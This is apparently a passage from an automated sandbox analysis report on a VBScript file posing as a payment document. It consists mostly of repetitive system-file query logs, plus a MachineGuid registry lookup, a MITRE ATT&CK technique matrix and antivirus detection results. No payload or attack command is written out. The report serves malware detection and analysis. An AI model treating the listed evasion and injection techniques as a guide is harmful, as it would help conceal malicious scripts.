Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Exploitation for Client Execution	221 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment_Activity_0104_2025-2-17.vbs	5%	Virustotal		Browse
Payment_Activity_0104_2025-2-17.vbs	0%	ReversingLabs

Source	Detection	Scanner	Label
https://scribd.comtsv10	0%	Avira URL Cloud	safe
https://scribd.comXANDR_PANIDv10	0%	Avira URL Cloud	safe
https://scribd.comts/d#	0%	Avira URL Cloud	safe
https://scribd.comtluidp/BG	0%	Avira URL Cloud	safe
https://scribd.comtluidpv10	0%	Avira URL Cloud	safe
